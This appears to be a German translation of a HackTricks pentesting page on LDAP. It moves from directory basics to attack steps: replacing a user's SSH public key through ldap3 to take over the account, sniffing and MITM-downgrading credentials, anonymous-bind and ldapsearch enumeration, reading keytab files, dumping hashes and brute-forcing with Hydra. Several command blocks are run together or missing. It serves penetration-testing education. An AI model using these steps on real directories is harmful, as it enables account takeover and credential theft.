Die Verwendung von LDAP (Lightweight Directory Access Protocol) dient hauptsächlich der Lokalisierung verschiedener Entitäten wie Organisationen, Einzelpersonen und Ressourcen wie Dateien und Geräte innerhalb von Netzwerken, sowohl öffentlich als auch privat. Es bietet einen optimierten Ansatz im Vergleich zu seinem Vorgänger, DAP, indem es einen kleineren Code-Footprint hat.
LDAP-Verzeichnisse sind so strukturiert, dass sie über mehrere Server verteilt werden können, wobei jeder Server eine replizierte und synchronisierte Version des Verzeichnisses beherbergt, die als Directory System Agent (DSA) bezeichnet wird. Die Verantwortung für die Bearbeitung von Anfragen liegt vollständig beim LDAP-Server, der bei Bedarf mit anderen DSAs kommunizieren kann, um eine einheitliche Antwort an den Anforderer zu liefern.
Die Organisation des LDAP-Verzeichnisses ähnelt einer Baumhierarchie, die mit dem Stammverzeichnis an der Spitze beginnt. Dies verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern.
Standardport: 389 und 636 (ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP-Daten-Austauschformat
LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen (Hinzufügen, Ändern, Löschen, Umbenennen) darstellen.
Zeilen 5-8 definieren die First-Level-Domain moneycorp (moneycorp.local)
Zeilen 10-16 definieren 2 organisatorische Einheiten: dev und sales
Zeilen 18-26 erstellen ein Objekt der Domain und weisen Attribute mit Werten zu
Daten schreiben
Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich zum Beispiel vor, dass Sie die "sshPublicKey"-Informationen Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, ssh die öffentlichen Schlüssel von LDAP liest. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
Wenn LDAP ohne SSL verwendet wird, können Sie Anmeldeinformationen im Klartext im Netzwerk sniffen.
Außerdem können Sie einen MITM-Angriff im Netzwerk zwischen dem LDAP-Server und dem Client durchführen. Hier können Sie einen Downgrade-Angriff durchführen, sodass der Client die Anmeldeinformationen im Klartext zur Anmeldung verwendet.
Wenn SSL verwendet wird, können Sie versuchen, einen MITM-Angriff wie oben erwähnt durchzuführen, indem Sie ein falsches Zertifikat anbieten. Wenn der Benutzer es akzeptiert, können Sie die Authentifizierungsmethode herabstufen und die Anmeldeinformationen erneut sehen.
Anonymous Access
Bypass TLS SNI check
Laut diesem Bericht konnte er, nur durch den Zugriff auf den LDAP-Server mit einem beliebigen Domänennamen (wie company.com), den LDAP-Dienst kontaktieren und Informationen als anonymer Benutzer extrahieren:
LDAP anonyme Bindings ermöglichen unauthentifizierten Angreifern, Informationen aus der Domäne abzurufen, wie z. B. eine vollständige Liste von Benutzern, Gruppen, Computern, Benutzerkontenattributen und der Domänenpasswortrichtlinie. Dies ist eine veraltete Konfiguration, und seit Windows Server 2003 dürfen nur authentifizierte Benutzer LDAP-Anfragen initiieren.
Allerdings mussten Administratoren möglicherweise eine bestimmte Anwendung einrichten, um anonyme Bindings zuzulassen und haben mehr Zugriff gewährt als beabsichtigt, wodurch unauthentifizierte Benutzer Zugriff auf alle Objekte in AD erhalten.
Gültige Anmeldeinformationen
Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domänenadministrator mit:
Wenn die Antwort True ist, wie im vorherigen Beispiel, können Sie einige interessante Daten des LDAP (wie den Namenskontext oder Domänennamen) Servers von:
Sobald Sie den Namenskontext haben, können Sie einige spannendere Abfragen durchführen. Diese einfache Abfrage sollte Ihnen alle Objekte im Verzeichnis anzeigen:
Windapsearch ist ein Python-Skript, das nützlich ist, um Benutzer, Gruppen und Computer aus einer Windows-Domäne durch die Nutzung von LDAP-Abfragen aufzulisten.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Überprüfen Sie null Anmeldeinformationen oder ob Ihre Anmeldeinformationen gültig sind:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Wenn Sie etwas finden, das besagt, dass der "bind abgeschlossen sein muss", bedeutet das, dass die Anmeldeinformationen falsch sind.
Sie können alles von einer Domäne extrahieren mit:
Um zu überprüfen, ob Sie Zugriff auf ein Passwort haben, können Sie grep verwenden, nachdem Sie eine der Abfragen ausgeführt haben:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
Bitte beachten Sie, dass die Passwörter, die Sie hier finden können, möglicherweise nicht die echten sind...
pbis
Sie können pbis hier herunterladen: https://github.com/BeyondTrust/pbis-open/ und es wird normalerweise in /opt/pbis installiert.
Pbis ermöglicht es Ihnen, grundlegende Informationen einfach zu erhalten:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Mit ldapsearch können Sie sich gegenüber Kerberos anstelle von NTLM authentifizieren, indem Sie den Parameter -Y GSSAPI verwenden.
POST
Wenn Sie auf die Dateien zugreifen können, in denen die Datenbanken enthalten sind (könnten sich in /var/lib/ldap befinden). Sie können die Hashes mit folgendem Befehl extrahieren:
Du kannst john mit dem Passwort-Hash (von '{SSHA}' zu 'structural' ohne 'structural' hinzuzufügen) füttern.
Konfigurationsdateien
Allgemein
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3-Server
V3.sas.oc
Microsoft Active Directory-Server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP-Verzeichnisserver
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
HackTricks Automatische Befehle
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f